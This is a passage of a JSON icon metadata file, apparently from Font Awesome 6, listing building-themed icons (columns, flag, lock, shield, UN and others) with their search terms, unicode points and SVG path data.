        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c15.1 0 28.5-6.9 37.3-17.8C340.4 462.2 320 417.5 320 368c0-54.7 24.9-103.5 64-135.8V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c15.1 0 28.5-6.9 37.3-17.8C340.4 462.2 320 417.5 320 368c0-54.7 24.9-103.5 64-135.8V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "building-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "building", "city", "office"]
    },
    "styles": ["solid"],
    "unicode": "e4d3",
    "label": "Building Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c15.1 0 28.5-6.9 37.3-17.8C340.4 462.2 320 417.5 320 368c0-54.7 24.9-103.5 64-135.8V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c15.1 0 28.5-6.9 37.3-17.8C340.4 462.2 320 417.5 320 368c0-54.7 24.9-103.5 64-135.8V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "building-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["building", "city", "destroy", "office"]
    },
    "styles": ["solid"],
    "unicode": "e4d4",
    "label": "Building Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c15.1 0 28.5-6.9 37.3-17.8C340.4 462.2 320 417.5 320 368c0-54.7 24.9-103.5 64-135.8V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c15.1 0 28.5-6.9 37.3-17.8C340.4 462.2 320 417.5 320 368c0-54.7 24.9-103.5 64-135.8V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "building-columns": {
    "aliases": {
      "names": ["bank", "institution", "museum", "university"],
      "unicodes": {
        "secondary": ["10f19c"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.0.3",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bank",
        "building",
        "college",
        "education",
        "institution",
        "museum",
        "students"
      ]
    },
    "styles": ["solid"],
    "unicode": "f19c",
    "label": "Building Columns",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M243.4 2.6l-224 96c-14 6-21.8 21-18.7 35.8S16.8 160 32 160v8c0 13.3 10.7 24 24 24H456c13.3 0 24-10.7 24-24v-8c15.2 0 28.3-10.7 31.3-25.6s-4.8-29.9-18.7-35.8l-224-96c-8-3.4-17.2-3.4-25.2 0zM128 224H64V420.3c-.6 .3-1.2 .7-1.8 1.1l-48 32c-11.7 7.8-17 22.4-12.9 35.9S17.9 512 32 512H480c14.1 0 26.5-9.2 30.6-22.7s-1.1-28.1-12.9-35.9l-48-32c-.6-.4-1.2-.7-1.8-1.1V224H384V416H344V224H280V416H232V224H168V416H128V224zM256 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M243.4 2.6l-224 96c-14 6-21.8 21-18.7 35.8S16.8 160 32 160v8c0 13.3 10.7 24 24 24H456c13.3 0 24-10.7 24-24v-8c15.2 0 28.3-10.7 31.3-25.6s-4.8-29.9-18.7-35.8l-224-96c-8-3.4-17.2-3.4-25.2 0zM128 224H64V420.3c-.6 .3-1.2 .7-1.8 1.1l-48 32c-11.7 7.8-17 22.4-12.9 35.9S17.9 512 32 512H480c14.1 0 26.5-9.2 30.6-22.7s-1.1-28.1-12.9-35.9l-48-32c-.6-.4-1.2-.7-1.8-1.1V224H384V416H344V224H280V416H232V224H168V416H128V224zM256 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "building-flag": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        " city",
        "building",
        "diplomat",
        "embassy",
        "flag",
        "headquarters",
        "united nations"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4d5",
    "label": "Building Flag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM448 0c-17.7 0-32 14.3-32 32V512h64V192H624c8.8 0 16-7.2 16-16V48c0-8.8-7.2-16-16-16H480c0-17.7-14.3-32-32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM448 0c-17.7 0-32 14.3-32 32V512h64V192H624c8.8 0 16-7.2 16-16V48c0-8.8-7.2-16-16-16H480c0-17.7-14.3-32-32-32z"
      }
    },
    "free": ["solid"]
  },
  "building-lock": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "city",
        "closed",
        "lock",
        "lockdown",
        "quarantine",
        "secure"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4d6",
    "label": "Building Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h88.6c-5.4-9.4-8.6-20.3-8.6-32V352c0-23.7 12.9-44.4 32-55.4V272c0-30.5 12.2-58.2 32-78.4V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM464 240c17.7 0 32 14.3 32 32v48H432V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H544c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h88.6c-5.4-9.4-8.6-20.3-8.6-32V352c0-23.7 12.9-44.4 32-55.4V272c0-30.5 12.2-58.2 32-78.4V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM464 240c17.7 0 32 14.3 32 32v48H432V272c0-17.7 14.3-32 32-32zm-80 32v48c-17.7 0-32 14.3-32 32V480c0 17.7 14.3 32 32 32H544c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32V272c0-44.2-35.8-80-80-80s-80 35.8-80 80z"
      }
    },
    "free": ["solid"]
  },
  "building-ngo": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [" city", "building", "non governmental organization", "office"]
    },
    "styles": ["solid"],
    "unicode": "e4d7",
    "label": "Building Ngo",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM168 64h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H184v64h16V144c0-8.8 7.2-16 16-16s16 7.2 16 16v24c0 13.3-10.7 24-24 24H176c-13.3 0-24-10.7-24-24V80c0-8.8 7.2-16 16-16zM304 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16s16-7.2 16-16V112c0-8.8-7.2-16-16-16zm-48 16c0-26.5 21.5-48 48-48s48 21.5 48 48v32c0 26.5-21.5 48-48 48s-48-21.5-48-48V112zM61.3 71.1l34.7 52V80c0-8.8 7.2-16 16-16s16 7.2 16 16v96c0 7.1-4.6 13.3-11.4 15.3s-14-.6-17.9-6.4L64 132.8V176c0 8.8-7.2 16-16 16s-16-7.2-16-16V80c0-7.1 4.6-13.3 11.4-15.3s14 .6 17.9 6.4z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM168 64h48c8.8 0 16 7.2 16 16s-7.2 16-16 16H184v64h16V144c0-8.8 7.2-16 16-16s16 7.2 16 16v24c0 13.3-10.7 24-24 24H176c-13.3 0-24-10.7-24-24V80c0-8.8 7.2-16 16-16zM304 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16s16-7.2 16-16V112c0-8.8-7.2-16-16-16zm-48 16c0-26.5 21.5-48 48-48s48 21.5 48 48v32c0 26.5-21.5 48-48 48s-48-21.5-48-48V112zM61.3 71.1l34.7 52V80c0-8.8 7.2-16 16-16s16 7.2 16 16v96c0 7.1-4.6 13.3-11.4 15.3s-14-.6-17.9-6.4L64 132.8V176c0 8.8-7.2 16-16 16s-16-7.2-16-16V80c0-7.1 4.6-13.3 11.4-15.3s14 .6 17.9 6.4z"
      }
    },
    "free": ["solid"]
  },
  "building-shield": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["building", "city", "police", "protect", "safety"]
    },
    "styles": ["solid"],
    "unicode": "e4d8",
    "label": "Building Shield",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 48C0 21.5 21.5 0 48 0H336c26.5 0 48 21.5 48 48V207l-42.4 17H304 272c-8.8 0-16 7.2-16 16v32 24.2V304c0 .9 .1 1.7 .2 2.6c2.3 58.1 24.1 144.8 98.7 201.5c-5.8 2.5-12.2 3.9-18.9 3.9H240V432c0-26.5-21.5-48-48-48s-48 21.5-48 48v80H48c-26.5 0-48-21.5-48-48V48zM80 224c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H80zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H176c-8.8 0-16 7.2-16 16zM64 112v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zM176 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H176zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16zM423.1 225.7c5.7-2.3 12.1-2.3 17.8 0l120 48C570 277.4 576 286.2 576 296c0 63.3-25.9 168.8-134.8 214.2c-5.9 2.5-12.6 2.5-18.5 0C313.9 464.8 288 359.3 288 296c0-9.8 6-18.6 15.1-22.3l120-48zM527.4 312L432 273.8V461.7c68.2-33 91.5-99 95.4-149.7z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 48C0 21.5 21.5 0 48 0H336c26.5 0 48 21.5 48 48V207l-42.4 17H304 272c-8.8 0-16 7.2-16 16v32 24.2V304c0 .9 .1 1.7 .2 2.6c2.3 58.1 24.1 144.8 98.7 201.5c-5.8 2.5-12.2 3.9-18.9 3.9H240V432c0-26.5-21.5-48-48-48s-48 21.5-48 48v80H48c-26.5 0-48-21.5-48-48V48zM80 224c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H80zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H176c-8.8 0-16 7.2-16 16zM64 112v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zM176 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H176zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16zM423.1 225.7c5.7-2.3 12.1-2.3 17.8 0l120 48C570 277.4 576 286.2 576 296c0 63.3-25.9 168.8-134.8 214.2c-5.9 2.5-12.6 2.5-18.5 0C313.9 464.8 288 359.3 288 296c0-9.8 6-18.6 15.1-22.3l120-48zM527.4 312L432 273.8V461.7c68.2-33 91.5-99 95.4-149.7z"
      }
    },
    "free": ["solid"]
  },
  "building-un": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["building", "city", "office", "united nations"]
    },
    "styles": ["solid"],
    "unicode": "e4d9",
    "label": "Building Un",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM237.3 71.1l34.7 52V80c0-8.8 7.2-16 16-16s16 7.2 16 16v96c0 7.1-4.6 13.3-11.4 15.3s-14-.6-17.9-6.4l-34.7-52V176c0 8.8-7.2 16-16 16s-16-7.2-16-16V80c0-7.1 4.6-13.3 11.4-15.3s14 .6 17.9 6.4zM112 80v64c0 8.8 7.2 16 16 16s16-7.2 16-16V80c0-8.8 7.2-16 16-16s16 7.2 16 16v64c0 26.5-21.5 48-48 48s-48-21.5-48-48V80c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
